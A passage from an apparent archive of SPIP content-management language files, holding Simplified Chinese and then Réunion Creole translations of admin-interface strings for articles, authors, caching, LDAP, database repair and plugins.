'item_non_creer_fichiers_authent' => '不创建这些文件',
'item_non_gerer_statistiques' => '不管理统计表',
'item_non_limiter_recherche' => '扩充搜索到参考站点',
'item_non_publier_articles' => '不发表出版日期前的文章.',
'item_non_utiliser_moteur_recherche' => '不使用引擎',
'item_nouvel_auteur' => '新作者',
'item_nouvelle_rubrique' => '新专栏',
'item_oui' => '是',
'item_publier_articles' => '忽略出版日期出版文章.',
'item_reponse_article' => '回复文章',
'item_utiliser_moteur_recherche' => '使用搜索引擎',
'item_visiteur' => '访问者',
// J
'jour_non_connu_nc' => '不知道',
// L
'lien_ajout_destinataire' => '加接收者',
'lien_ajouter_auteur' => '加作者',
'lien_ajouter_participant' => '添加一个新的参与者',
'lien_email' => '电子邮件',
'lien_nom_site' => '站点名:',
'lien_retirer_auteur' => '移去作者',
'lien_retrait_particpant' => '移去参与者',
'lien_site' => '站点',
'lien_supprimer_rubrique' => '删除此栏',
'lien_tout_deplier' => '展开所有',
'lien_tout_replier' => '伸缩所有',
'lien_trier_nom' => '按名字排序',
'lien_trier_nombre_articles' => '按文章号排序',
'lien_trier_statut' => '按标题排序',
'lien_voir_en_ligne' => '在线预览:',
'logo_article' => '文章图标', # MODIF
'logo_auteur' => '作者图标', # MODIF
'logo_rubrique' => '专栏图标', # MODIF
'logo_site' => '站点图标', # MODIF
'logo_standard_rubrique' => '专栏标准图标', # MODIF
'logo_survol' => '盘旋图标', # MODIF
// M
'menu_aide_installation_choix_base' => '选择数据库',
'module_fichier_langue' => '语言文件',
'module_raccourci' => '快捷方式',
'module_texte_affiche' => '显示文本',
'module_texte_explicatif' => '你不能插入快捷方式到站点模板. 有一种语言他们将自动翻译为各种语言.',
'module_texte_traduction' => '语言文件 « @module@ » 可用在:',
'mois_non_connu' => '不知道',
// O
'onglet_repartition_actuelle' => '现在',
// S
'statut_admin_restreint' => '(受限制的管理)', # MODIF
// T
'taille_cache_infinie' => '本网站对 <code>CACHE/</code>目录的大小没有限制。', # MODIF
'taille_cache_maxi' => '网络文章发布系统将尝试限制 <code>CACHE/</code> 目录的大小至大约 <b>@octets@</b> 数据.', # MODIF
'taille_cache_octets' => '缓存目录当前的大小是 @octets@。', # MODIF
'taille_cache_vide' => '缓存当前状态为空。',
'taille_repertoire_cache' => '缓存目录的大小',
'text_article_propose_publication' => '文章已提交发表. 不要犹豫通过论坛发表你的观点附在文章后 (在页底).', # MODIF
'texte_acces_ldap_anonyme_1' => '一些 LDAP 服务器不允许任何匿名访问. 这样你必须标识初始连接,以后能搜索目录中信息. 无论如何, 大多数情况下以下区域可留空.',
'texte_admin_effacer_01' => '命令删除数据库的<i>所有</i> 内容包括
<i>所有</i> 访问者和管理者的访问参数. 执行后, 为新建数据库和第一个管理员访问你应
重新安装 SPIP .',
'texte_adresse_annuaire_1' => '( 如果你的目录安装到同样机器作为WEB站点, 可能 «localhost».)',
'texte_ajout_auteur' => '以下作者加到文章:',
'texte_annuaire_ldap_1' => '若你有权访问(LDAP) 目录, 你可用它在SPIP下自动导入用户.',
'texte_article_statut' => '文章是:',
'texte_article_virtuel' => '虚文章',
'texte_article_virtuel_reference' => '<b>虚文章 :</b>在SPIP中引用文档, 但是重定向到其它的URL. 移去链接, 删除以下 URL.',
'texte_aucun_resultat_auteur' => '"@cherche_auteur@"没有结果.',
'texte_auteur_messagerie' => '站点能连续监控连接编辑列表, 它允许实时交换信息 (如果以上消息被禁, 连接编辑列表自身禁用). 你能决定不出现在列表中 (其他用户在列表中" 无法 "看到你）', # MODIF
'texte_auteur_messagerie_1' => '本站点开放注册会员的短消息及私人论坛的交流.您可以选择不参与讨论交流.',
'texte_auteurs' => '作者',
'texte_choix_base_1' => '选择你的数据库:',
'texte_choix_base_2' => 'SQL 服务器包括几个数据库.',
'texte_choix_base_3' => '<b>选择</b> 以下主机给你提供的这个:', # MODIF
'texte_commande_vider_tables_indexation' => '使用命令清空被SPIP集成的搜索引擎用到的索引表
. 它将允许你保留磁盘空间
.',
'texte_compresse_ou_non' => '(这个被压缩或没有)',
'texte_compte_element' => '@count@ 元素',
'texte_compte_elements' => '@count@ 元素',
'texte_connexion_mysql' => '根据你主机提到的信息: 它将给你, 如果你的主机支持 SQL,SQL 服务器的连接码.', # MODIF
'texte_contenu_article' => '(简要说明文章的内容.)',
'texte_contenu_articles' => '基于为你选择的站点的展开, 你能决定
一些文章元素没有用.
用以下列表选择哪一个元素将可用.',
'texte_crash_base' => '如果数据库毁坏
, 你可以自动修复
它.',
'texte_creer_rubrique' => '在写文章前,<br />您必须创建一个专栏.', # MODIF
'texte_date_creation_article' => '创建文章日期:',
'texte_date_publication_anterieure' => '更早的出版日期', # MODIF
'texte_date_publication_anterieure_nonaffichee' => '隐藏更早的出版日期.', # MODIF
'texte_date_publication_article' => '在线出版日期:', # MODIF
'texte_descriptif_petition' => '请求说明',
'texte_descriptif_rapide' => '主要描述',
'texte_effacer_base' => '删除SPIP 数据库',
'texte_effacer_donnees_indexation' => '删除索引文件',
'texte_en_cours_validation' => '下列文章和新闻提交出版. 请不要犹豫通过论坛发表您的观点.', # MODIF
'texte_enrichir_mise_a_jour' => '你可以丰富你的文本,通过«文字快捷方式».',
'texte_fichier_authent' => '<b>让SPIP创建特殊的<tt>.htpasswd</tt>
并且<tt>.htpasswd-admin</tt> 文件在目录@dossier@?</b><p>
这些文件能用于严格限制访问作者和管理者
在站点的不同部分
(例如, 外部统计编程).<p>
如果你没有用这样的文件, 留下该选项为它的缺省值
(没有建
文件).', # MODIF
'texte_informations_personnelles_1' => '系统将提供给你提供定制访问.',
'texte_informations_personnelles_2' => '(注意: 如果是重新安装, 你的访问正在工作, 你可以', # MODIF
'texte_introductif_article' => '(文章介绍.)',
'texte_jeu_caractere' => '如果你的站点显示的字符不同于罗马数字(就是 «western»)
这个选项很有用.
这种情况下, 为使用合适的字符集缺省设置必须改变
; 无论如何, 我们建议你试试不同的字符符集
. 如果你修改参数, 不要忘记,
根据 (<tt>#CHARSET</tt> 标记)协调公共站点.', # MODIF
'texte_jeu_caractere_2' => '设置没有生效.
因此, 已输入的文本可能不能正常显示
在修改设置后. 无论如何,
你可返回到以前的设置.', # MODIF
'texte_lien_hypertexte' => '(如果消息引用了一个WEB站点的文章, 或页面, 请提供页面标题和 URL.)',
'texte_login_ldap_1' => '(匿名访问留空或输入完整路径, 例如 «<tt>uid=smith, ou=users, dc=my-domain, dc=com</tt>».)',
'texte_login_precaution' => '警告 ! 这是你正连接的登录.
小心使用这个表单...',
'texte_message_edit' => '警告: 消息可被所有站点管理员管理, 对所有编辑显示. 使用声明只加重了站点的重要事件.',
'texte_mise_a_niveau_base_1' => '你已更新 SPIP 文件.
现在你必须更新站点
数据库.',
'texte_modifier_article' => '修改文章:',
'texte_moteur_recherche_active' => '<b>搜索引擎激活了.</b>
如果你执行快速索引使用这个命令 (例如恢复
备份后). 你应注意文章用正常方式修改
(从SPIP界面) 被重新正常索引
: 因此这个命令只在异常情况下有用.',
'texte_moteur_recherche_non_active' => '搜索引擎未激活.',
'texte_multilinguisme' => '如果您希望用复杂导航管理多语言文章, 您可以根据站点的组织, 在文章及/或专栏中添加语言选择菜单.', # MODIF
'texte_multilinguisme_trad' => '同样,在不同的文章翻译中你可以激活连接管理系统.', # MODIF
'texte_non_compresse' => '<i>未解压</i> (你的服务器不支持)',
'texte_nouveau_message' => '新消息',
'texte_nouvelle_version_spip_1' => '您已经安装了新版SPIP.',
'texte_nouvelle_version_spip_2' => '新版本需要比通常更彻底的更新. 如果你是站点管理员, 请删除目录中 <tt>ecrire</tt>文件 <tt>inc_connect.php3</tt> 并重新安装更新你的数据库连接参数. <p>(NB.: 如果你忘记了连接参数, 在删除前看看<tt>inc_connect.php3</tt> ...)', # MODIF
'texte_operation_echec' => '返回前页,选择另一个数据库或新建一个. 确认你主机提供的信息.',
'texte_plus_trois_car' => '多于 3 字符',
'texte_plusieurs_articles' => '"@cherche_auteur@好几个作者找到了":',
'texte_port_annuaire' => '(一般缺省值更合适.)',
'texte_proposer_publication' => '当你的文章完成,<br /> 你可提交出版.', # MODIF
'texte_proxy' => '一些情况下 (内部网, 受保护的网络...),
有必要用 <i>代理HTTP</i> 到达联合站点.
只要有一个代理就在以下输入一个地址, 因此
<tt><html>http://proxy:8080</html></tt>. 一般地,
你可以留空.', # MODIF
'texte_publication_articles_post_dates' => 'SPIP将采纳提供的将来
出版的文章
什么行为?',
'texte_rappel_selection_champs' => '[记住正确选择区域.]',
'texte_recalcul_page' => '如果你只要刷新
这页, 最好在公共区做,使用按钮 « refresh ».',
'texte_recapitiule_liste_documents' => '该页将汇总各专栏中的文档. 如需修改各个文档的信息, 单击所属专栏页面的链接.',
'texte_recuperer_base' => '修复数据库',
'texte_reference_mais_redirige' => '你的SPIP参考的文章, 但是重定向到别的 URL.',
'texte_requetes_echouent' => '<b>当一些 SQL 查询失败并且没有任何原因显示
, 可能是数据库
自动出错了
.</b>
<p>SQL 有修复表的配置
当它们被偶然打断.
在这里, 你可以执行修复;
为避免失败, 你应保持显示的备份, 这将包含
出错的线索...
<p>如果问题仍然存在,请联系
主机.', # MODIF
'texte_selection_langue_principale' => '你可在下面选择"主要语言". 幸运地,选择不限制你的文章使用选中的语言,但允许确定
<ul><li> 公众站点的缺省日期格式</li>
<li> 文字引擎将用于SPIP自动翻译;</li>
<li> 公众站点上论坛的语言</li>
<li> 私有区显示缺省语言.</li></ul>',
'texte_sous_titre' => '子标题',
'texte_statistiques_visites' => '(黑线: 周日 / 夜晚 曲线: 平均进展)',
'texte_statut_attente_validation' => '未确认',
'texte_statut_publies' => '在线出版',
'texte_statut_refuses' => '丢弃',
'texte_suppression_fichiers' => '使用命令删除SPIP缓存中的文件
这允许你, 另外地, 以防你进入站点结构和图片重要修改后
强制你刷新所有的页面.',
'texte_sur_titre' => '顶标题',
'texte_table_ok' => ': 表好了.',
'texte_tables_indexation_vides' => '引擎的索引表为空.',
'texte_tentative_recuperation' => '试图修复',
'texte_tenter_reparation' => '试图修复数据库',
'texte_test_proxy' => '若使用代理, 输入要测试的
网站地址.',
'texte_titre_02' => '主题:',
'texte_titre_obligatoire' => '<b>标题</b> [必需]', # MODIF
'texte_travail_article' => '@nom_auteur_modif@ @date_diff@ 分钟前正在修改这篇文章',
'texte_travail_collaboratif' => '如果经常好几个作者编辑同一文章
,系统能显示最近的文章
«opened» 文章
为避免同时修改.
该选项为避免不合时宜的警告信息缺省
设定为
不可用.',
'texte_trop_resultats_auteurs' => '搜索到 "@cherche_auteur@"太多结果; 请重新定义搜索.',
'texte_unpack' => '正下载最新版本',
'texte_utilisation_moteur_syndiques' => '当你使用集成到SPIP的搜索引擎, 你可以执行搜索携带站点和不同方式联合的文章. <br /><img src=\'puce.gif\'>最简单的是只搜索文章的标题和描述. <br /><img src=\'puce.gif\'> 第二种方法, 更强有力, 允许SPIP搜索参考站点的文本. 如果你引用了站点, SPIP 将执行搜索站点的文本.', # MODIF
'texte_utilisation_moteur_syndiques_2' => '该方法强制 SPIP 定期访问参考站点,这将使你自己的站点性能降低.',
'texte_vide' => '清空',
'texte_vider_cache' => '清空缓存',
'titre_admin_effacer' => '技术维护',
'titre_admin_tech' => '技术维护',
'titre_admin_vider' => '技术维护',
'titre_cadre_afficher_article' => '显示文章:',
'titre_cadre_afficher_traductions' => '显示语言的翻译状态.',
'titre_cadre_ajouter_auteur' => '加作者:',
'titre_cadre_interieur_rubrique' => '在专栏内部',
'titre_cadre_numero_auteur' => '作者号',
'titre_cadre_signature_obligatoire' => '<b>签名</b> [必需]<br />', # MODIF
'titre_config_fonctions' => '站点配置',
'titre_configuration' => '站点配置',
'titre_connexion_ldap' => '选项: <b>你的 LDAP 连接</b>',
'titre_groupe_mots' => '关键词组:',
'titre_langue_article' => '文章语言', # MODIF
'titre_langue_rubrique' => '专栏使用的语言', # MODIF
'titre_langue_trad_article' => '文章语言和译文',
'titre_les_articles' => '文章',
'titre_naviguer_dans_le_site' => '浏览站点...',
'titre_nouvelle_rubrique' => '新专栏',
'titre_numero_rubrique' => '专栏编号:',
'titre_page_admin_effacer' => '技术维护:删除数据库',
'titre_page_articles_edit' => '修改: @titre@',
'titre_page_articles_page' => '文章',
'titre_page_articles_tous' => '整个站点',
'titre_page_auteurs' => '访问者',
'titre_page_calendrier' => '日历 @nom_mois@ @annee@',
'titre_page_config_contenu' => '站点配置',
'titre_page_config_fonctions' => '站点配置',
'titre_page_configuration' => '站点配置',
'titre_page_controle_petition' => '跟踪请求',
'titre_page_delete_all' => '所有和不能撤回的删除',
'titre_page_documents_liste' => '专栏文档',
'titre_page_index' => '您的私有区',
'titre_page_message_edit' => '写消息',
'titre_page_messagerie' => '您的消息',
'titre_page_recherche' => '搜索结果@recherche@',
'titre_page_statistiques_referers' => '统计(引入链接)',
'titre_page_upgrade' => 'SPIP升级 ',
'titre_publication_articles_post_dates' => '发表日期文章的出版物',
'titre_referencer_site' => '参考站点:',
'titre_rendez_vous' => '约会:',
'titre_reparation' => '修复',
'titre_suivi_petition' => '跟踪请求',
'trad_article_inexistant' => '没有文章为该号',
'trad_article_traduction' => '这篇文章的所有版本:',
'trad_deja_traduit' => '该文是一篇译文', # MODIF
'trad_delier' => '取消这篇文章到它的译文的链接', # MODIF
'trad_lier' => '该篇文章译自文章No.',
'trad_new' => '为该篇文章写一篇新译文' # MODIF
);
?>
ecrire_cpf.php 0000666 00000155643 15252547432 0007411 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=cpf
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Fé zoué lo plugin',
'aide_non_disponible' => 'Astèr i mank ankor inn bout lo koudmin an liyn pou la lang ou la swazi.',
'auteur' => 'Lotèr :',
'avis_acces_interdit' => 'Ou nana pwinn lapermisyon pou rant dann kwind sit-la.',
'avis_article_modifie' => 'Tansyon pangar, @nom_auteur_modif@ la fin travayé lartik-la, néna @date_diff@ minit pasé',
'avis_aucun_resultat' => 'Néna pwinn rézilta.',
'avis_chemin_invalide_1' => 'Somin ou la swazi',
'avis_chemin_invalide_2' => 'i sanm pa marsé. Ou pé artourn paz-déryèr èk vèy bann zinformasyon ou la doné.',
'avis_connexion_echec_1' => 'Lakostaz-la sir servèr SQL la finn loupé.', # MODIF
'avis_connexion_echec_2' => 'Artourn paz-déryèr èk vèy byin bann zinformasyon ou la doné.',
'avis_connexion_echec_3' => '<b>Tansyon Pangar !</b> Sir bonpé servèr i dwa <b>domann</b> léberzèr li fé zwé out permisyon pou lakostaz labaz SQL, sinonsa i pé pa giny anserv ali. Si ou lé pa kav akost labaz, véy byin si ou la domandé permisyon-la.', # MODIF
'avis_connexion_ldap_echec_1' => 'Lakostaz-la si lo servèr LDAP, li la pa finn marsé.',
'avis_connexion_ldap_echec_2' => 'Artourn paz-déryèr èk vèy byin bann zinformasyon ou la doné.',
'avis_connexion_ldap_echec_3' => 'Dann ka-la,i giny pa a rien anserv lo supor LDAP pou import a bann zitilizatèr.',
'avis_deplacement_rubrique' => 'Pangar ! Dann rubrik-la néna @contient_breves@ brève@scb@ : si ou dékal ali, mèt inn krwa pou kofirmé.',
'avis_destinataire_obligatoire' => 'Astèr ou dwa kadr inn destinatèr pou anvwayé out modékri.',
'avis_erreur_connexion_mysql' => 'Astèr néna inn kanard èk lakostaz SQL',
'avis_erreur_version_archive' => '<b>Pangar ! Fisyé @archive@-la i apartyin
inn ot versyon Spip sak ou la mi andan out sit.</b> Ou va giny gro traka :
kanar-la i pé dégrèn out bazdodné èk out sitwèb sa minm, plizyèrs zot larlik lé posib etc.
Ni konsèy aou kofirm pa ladomann linportasyon-la<p> Si ou néna bezwin inn pé plid zinformasyon, gèt <a href="@spipnet@">
ladocumentasyon lo SPIP-la</a>.', # MODIF
'avis_espace_interdit' => '<b>Ou na pwinn permisyon ariv dann lépas-tèrla </b><p>Ou la déza finn mèt inn versyon d-SPIP.',
'avis_lecture_noms_bases_1' => 'Program linstalasyion-la, li na pwinn finn ginyé dlir bann non bann bazdodné sak lé prézan dann sit.',
'avis_lecture_noms_bases_2' => 'Kiswa néna okinn baz disponib, kiswa fonksyon "listé bann bazdodné" la finn dèt apiyé porézon sékirité (néna plisyèr zéberzèr sak i dégrèn ali).',
'avis_lecture_noms_bases_3' => 'Si dernyèr idé-la lé vré, lé probab ou i pé anservir inn bazdodné sak i port out nondkod :',
'avis_non_acces_message' => 'Ou néna pwinn pèrmisyon lir modékri-la minm. Zafèr kabri lé pa zafèr mouton ! ',
'avis_non_acces_page' => 'Ou na pwinn permisyon akost sir pazwèb-la.',
'avis_operation_echec' => 'Lopérasyon-la la pwinn finn marsé. ',
'avis_probleme_archive' => 'Astèr, néna inn kanard. Lé pa posib lir lo fisyé @archive@',
'avis_suppression_base' => 'TANSYON PANGAR, si ou i dégrèn bann doné-la, i pé pa bataryèr pou rékupèr azot : ou sava pèrd tout bann zinformasyon',
'avis_version_mysql' => 'Out versyon SQL (@version_mysql@),li permé pa aranz tousèl bann tab d-la baz.',
// B
'bouton_acces_ldap' => 'Azout laksé dann LDAP >>',
'bouton_ajouter' => 'Azouté',
'bouton_ajouter_participant' => 'AZOUT INN DALON :',
'bouton_annonce' => 'ZANONS',
'bouton_checkbox_envoi_message' => 'lé posib anvway inn modékri.',
'bouton_checkbox_indiquer_site' => 'a zot lé nésésèr mèt lo non dinn sitwèb',
'bouton_checkbox_signature_unique_email' => 'inn sèl sinyatir po inn ladrès imèl',
'bouton_checkbox_signature_unique_site' => 'inn sèl sinyatir po inn sitwèb',
'bouton_demande_publication' => 'Domann lapiblikasyon lartik-la',
'bouton_desactive_tout' => 'Dégrenn tout zot',
'bouton_effacer_index' => 'Dégrèn a tout bann zindèks ',
'bouton_effacer_tout' => 'Dégrèn a TOUT',
'bouton_envoi_message_02' => 'ANVWA INN MODÉKRI',
'bouton_envoyer_message' => 'Modékri-la lé fini : anvwa ali',
'bouton_modifier' => 'Sanz',
'bouton_pense_bete' => 'OUT PROP GARDANTÈT
',
'bouton_radio_activer_messagerie' => 'Fé zwé lakazmodékri ',
'bouton_radio_activer_messagerie_interne' => 'Fé zwé lakazmodékri',
'bouton_radio_activer_petition' => 'Fé zwé filsinyatir',
'bouton_radio_afficher' => 'Fé vwar an liyn',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Amontr aou dann bann lotèr an liyn ',
'bouton_radio_desactiver_messagerie' => 'Dégrèn lakazmodékri ',
'bouton_radio_envoi_annonces_adresse' => 'Anvwa bann zanons sir ladrès-la :',
'bouton_radio_envoi_liste_nouveautes' => 'Anvwa lalist bann nouvèlté',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Bann lotèr-la i pé pa vwar ou lé an liyn
',
'bouton_radio_non_envoi_annonces_editoriales' => 'Anpès anvwayé bann zanons léditoryal',
'bouton_radio_pas_petition' => 'Anpès néna filsinyatir',
'bouton_radio_petition_activee' => 'Astèr, filsinyatir i mars',
'bouton_radio_supprimer_petition' => 'Dégrèn filsinyatir',
'bouton_redirection' => 'TOURNÉVIRÉ LADRÈSWÈB',
'bouton_relancer_installation' => 'Rosarz linstalasyon',
'bouton_suivant' => 'Answit',
'bouton_tenter_recuperation' => 'Eséy inn aranzman',
'bouton_test_proxy' => 'Eséy lo proksi-la',
'bouton_vider_cache' => 'Dévid kas lo sitwèb',
'bouton_voir_message' => 'Artourn gèt modékri avann konfirm ali',
// C
'cache_mode_compresse' => 'Bann fisyè lo kas sanlé anroziztré sanm manyir koprésé.',
'cache_mode_non_compresse' => 'Bann fisyè lo kas sa lé anroziztré sanm manyir sat lé pa koprésé.',
'cache_modifiable_webmestre' => 'Lo wèbmèt lo sit, li pé sanz paramèt-la. ',
'calendrier_synchro' => 'Si ou ansèrv in lozisyèl pou in lajinda i mars èk <b>iCal</b> (Apple iCal, Mozilla Calendar, Ximian Evolution, KOrganizer...),ou pé mèt ali si lo ritm bann arnouvèlman laktyalité lo sit-la.',
// D
'date_mot_heures' => 'èr',
// E
'email' => 'ladrès imèl',
'email_2' => 'ladrès imèl :',
'entree_adresse_annuaire' => 'Ladrès karné',
'entree_adresse_email' => 'Out ladrès imèl',
'entree_base_donnee_1' => 'Ladrès labazdodné',
'entree_base_donnee_2' => '(Souvandfwa ladrès-la lé paréy sak ladrès lo sitwèb, nadfwa pwatan lé inn sinp « localhost », nadfwa lé vid.)',
'entree_biographie' => 'Arkont inn pé kisa ou lé.',
'entree_chemin_acces' => '<b>Mèt</b> lo somin-laksé :',
'entree_cle_pgp' => 'Out klé PGP',
'entree_contenu_rubrique' => '(Kosa moun i va trouv dann rubrik-la, an kèk mo sèlman.)',
'entree_identifiants_connexion' => 'Out nondkod é modpas pou akost lo sitwèb...',
'entree_informations_connexion_ldap' => 'Mersi mèt dann komisyon-la bann zinformasyon nésésèr pou akost lo karné LDAP.
Bann zinformasyon-la, sé komandèr-sistèm ou komandèr-rézo sak i dwa donn a ou.',
'entree_infos_perso' => 'Kisa ou lé ?',
'entree_interieur_rubrique' => 'Dann rubrik :',
'entree_liens_sites' => '<b>Gatiraz</b> (égsanp : sitwèb lé konséyé, tousala...)',
'entree_login' => 'Out nondkod',
'entree_login_connexion_1' => 'Lo nondkod lakostaz',
'entree_login_connexion_2' => '(nadfwa lé paréy out nondkod-laksé FTP ; nadfwa lé vid)',
'entree_login_ldap' => 'Promyé nondkod LDAP ',
'entree_mot_passe' => 'Out modpas',
'entree_mot_passe_1' => 'Modpas lakostaz',
'entree_mot_passe_2' => '(Nadfwa lé paréy out modpas pou FTP ; nadfwa lé vid)',
'entree_nom_fichier' => 'Mersi mèt lo non do fisyé @texte_compresse@ :',
'entree_nom_pseudo' => 'Out vrénon oubyin ti-non-gaté',
'entree_nom_pseudo_1' => '(Out vrénon oubyin ti-non-gaté)',
'entree_nom_site' => 'Lo non out sitwèb',
'entree_nouveau_passe' => 'Nouvo modpas',
'entree_passe_ldap' => 'Modpas',
'entree_port_annuaire' => 'Lo niméro d-por dlo karné ',
'entree_signature' => 'Sinyatir',
'entree_titre_obligatoire' => '<b>Titr</b> [Nésésèr]<br />',
'entree_url' => 'Ladrès (URL) out sitwèb',
'erreur_plugin_fichier_absent' => 'Okin fisyé ',
'erreur_plugin_fichier_def_absent' => 'Nena pa okinn fisyé po définisyon',
'erreur_plugin_nom_fonction_interdit' => 'Lonon fonksyon la lé intèdi',
'erreur_plugin_nom_manquant' => 'Nena pa okinn non pou plugin la',
'erreur_plugin_prefix_manquant' => 'L’espas pou donn in non pou pligin la li pa défini',
'erreur_plugin_tag_plugin_absent' => 'Nena pa okinn <plugin> andan fisyé pou la definisyon',
'erreur_plugin_version_manquant' => 'Nena pa okinn vésyon pou plugin la',
// I
'ical_info1' => 'Paz-la i donn aou plizièr manyèr rès an gatiraz èk lo vi lo sit-la.',
'ical_info2' => 'Si ou i vé dot ranseyman si bann teknik anlèr, ezit pa rogardé <a href="@spipnet@">bann paz dokimantasyon pou SPIP</a>.', # MODIF
'ical_info_calendrier' => 'Astèr néna dé kalandryé disponib. Promyé lé in manyèr d’kart pou lo sit, sak i donn a ou tout bann zartik la finn dèt pibliyé. Dézièm-la, i donn aou tout bann zanons léditoryal èk zot dernyé modékri andann out léspas privé (out kazmodékri) : laksé dézyèm kalandryé-la, li lé rézervé. ou minm sèlman lé kav konsilt ali sanm inn sort klé privé, sak ou pé sanz kank i vé (sanz sèlman out modpas). ',
'ical_methode_http' => 'Télésarzman',
'ical_methode_webcal' => 'Po fé lasinkronizasyon(webcal ://)',
'ical_texte_js' => 'In liny "javascript" (zavaskrip) i permé afisé tout bann zartik sat la finn dèt pibliyé an liny si lo sit-la. Lé tré sinp. Ou i pé afisé zot-la si tout bann sit aou.',
'ical_texte_prive' => 'Kalandryé-la lé sèlman disponib pou ou-minm. I di aou kosa i lé laktivité éditoryal lo sitwèb (kosa ou dwa fé, kank i lé out bann randévou, kank bann zartik èk bann tite-nouvèl la finn dèt propozé...).',
'ical_texte_public' => 'Kalandryé-la i di aou kosa i lé laktivité pibli si lo sitwèb (i rappèl tout bann zartik èk tite-nouvèl sat la finn dèt pibliyé).',
'ical_texte_rss' => 'Ou pé sindiké bann nouvèlté lo sit-la, kiswa i lé out léktèr bann fisyé andan lo forma XML/RSS (Rich Site Summary). Forma-la i rann a SPIP kav lir bann nouvèlté dot bann sitwèb, tout sat i ansèrv in forma lésanz konpatib y pé apareyé vèk bann zot-la.',
'ical_titre_js' => 'Javascript (Zavaskrip)',
'ical_titre_mailing' => 'Lètlimèl',
'ical_titre_rss' => 'Bann fisyé pou la sindikasyon',
'icone_activer_cookie' => 'Fé zwé lo gatomakro d rokonésans ',
'icone_admin_plugin' => 'Jèré bann plugin',
'icone_afficher_auteurs' => 'Armontr bann lotèr',
'icone_afficher_visiteurs' => 'Armontr bann vizitèr',
'icone_arret_discussion' => 'Anbar ou mèt ansanm dann kozman-la ',
'icone_calendrier' => 'Kalandriyé',
'icone_creer_auteur' => 'Kré inn nouvo lotèr é mèt ali ansanm dann lartik-la',
'icone_creer_mot_cle' => 'Kré inn nouvo molaklé è gatir ali sanm lartik-la.',
'icone_creer_rubrique_2' => 'Kré inn nouvèl rubrik',
'icone_envoyer_message' => 'Anvwa modékri-la',
'icone_modifier_article' => 'Sanz lartik-la',
'icone_modifier_message' => 'Sanz modékri-la',
'icone_modifier_rubrique' => 'Sanz rubrik-la',
'icone_retour' => 'Bat-aryèr',
'icone_retour_article' => 'Bat-aryèr si lartik',
'icone_supprimer_cookie' => 'Dégrèn gatomakro pou larokonésans',
'icone_supprimer_rubrique' => 'Dégrèn rubrik-la',
'icone_supprimer_signature' => 'Dégrèn sinyatir-la',
'icone_valider_signature' => 'Konfirm sinyatir-la',
'image_administrer_rubrique' => 'Ou néna drwa d-komandman sir rubrik-la',
'info_1_article' => '1 lartik',
'info_1_site' => '1 sitwèb',
'info_activer_cookie' => 'I pé fé zwé inn <b>gatomakro drokonésans </b>. Kom sa ou sra kav pas fasilman dopwi lafigirwèb piblik sir lo sit privé.',
'info_admin_gere_rubriques' => 'Komandèr-la lé responsab si bann rubrik anba :',
'info_admin_gere_toutes_rubriques' => 'Komandèr-la lé responsab pou <b>TOUT bann rubrik</b>.', # MODIF
'info_administrateur' => 'Komandèr',
'info_administrateur_1' => 'Komandèr',
'info_administrateur_2' => 'lo sitwèb(<i>anserv èk prékosyon</i>)',
'info_administrateur_site_01' => 'Si ou lé komandèr lo sit, mersi',
'info_administrateur_site_02' => 'klik gatiraz-la',
'info_administrateurs' => 'Bann komandèr',
'info_administrer_rubrique' => 'Ou pé zèr larubrik-la',
'info_adresse' => 'si ladrès :',
'info_adresse_url' => 'Ladrès (URL) lo sit piblik (figirwèb)',
'info_afficher_visites' => 'Armontr bann vizit pou :',
'info_aide_en_ligne' => 'Koudmin an liyn SPIP',
'info_ajout_image' => 'Kank ou azout inndé zimaz pou mèt inn dokiman-zwinn èk inn lartik,
SPIP i pé kré otomatikman inndé vinyèt (inndé tit-limaz), aparti
tout bann zimaz ou la déza sarzé. Sa lé itil pou kré
inn liv-zimaz (sédir inn galri).',
'info_ajout_participant' => 'Dalon(n)-la lé azouté :',
'info_ajouter_rubrique' => 'Azout inn ot rubrik pour okipé :',
'info_annonce_nouveautes' => 'Zanons bann nouvèlté',
'info_anterieur' => 'avann',
'info_article' => 'Lartik',
'info_article_2' => 'bann zartik',
'info_article_a_paraitre' => 'Bann zartik pou pibliyé èk inn dat postéryèr lo zour son lékritir ',
'info_articles_02' => 'bann zartik',
'info_articles_2' => 'Bann zartik',
'info_articles_auteur' => 'Bann zartik lotèr-la',
'info_articles_trouves' => 'Bann zartik la finn dèt trouvé',
'info_articles_trouves_dans_texte' => 'Bann zartik la finn dèt trouvé (dann lo tèks)',
'info_attente_validation' => 'Out bann zartik sak i espèr lakonfirmasyon',
'info_aujourdhui' => 'Zordi :',
'info_auteur_message' => 'LOTÈR MODÉKRI :',
'info_auteurs' => 'Bann lotèr',
'info_auteurs_par_tri' => 'Bann lotèr@partri@',
'info_auteurs_trouves' => 'Bann lotèr la finn dèt trouvé',
'info_authentification_externe' => 'Lotantifikasyon-déor pour out lidantité',
'info_avertissement' => 'Lavi',
'info_base_installee' => 'Lastriktir out bazdodné lé instalé.',
'info_chapeau' => 'Sapo',
'info_chapeau_2' => 'Sapo :',
'info_chemin_acces_1' => 'Bann lopsyon : <b>Somin laksè dann karné</b>',
'info_chemin_acces_2' => 'Astèr i dwa konfigir lo somin laksé pou bann zinformasyon dann karné. Linformasyon-la lé nésésèr pou lir bann profil zitilizatèr. Profil-la lé stoké dann karné.',
'info_chemin_acces_annuaire' => 'Bann lopsyon : <b>Somin-laksé dann karné',
'info_choix_base' => 'Trwazièm étap :',
'info_classement_1' => '<sup>yé</sup> si @liste@',
'info_classement_2' => '<sup>èm</sup> si @liste@',
'info_code_acces' => 'Oubliy pa out prop bann kod-laksé !',
'info_config_suivi' => 'Si ladrès-la lé inn ladrès po inlistmèl, ou pé présiz anba tèrla kosa i lé ladrès out bann vizitèr i pé inskri azot. Ladrès-la i pé èt in sinp URL (lapaz pou linskrisyon si lo sit-minm), o in ladrès imèl, po un sizé pli spésifik(égsanp : <tt>@adresse_suivi@?subject=subscribe</tt>) :',
'info_config_suivi_explication' => 'Ou pé abonn aou po gigny lo listmèl lo sit-. Ou sar gigny in limèl pou tout bann zanons èk bann tite-nouvèl sat ni propoz po lapiblikasyon si lo sit.',
'info_confirmer_passe' => 'Konfirm out nouvo modpass-la :',
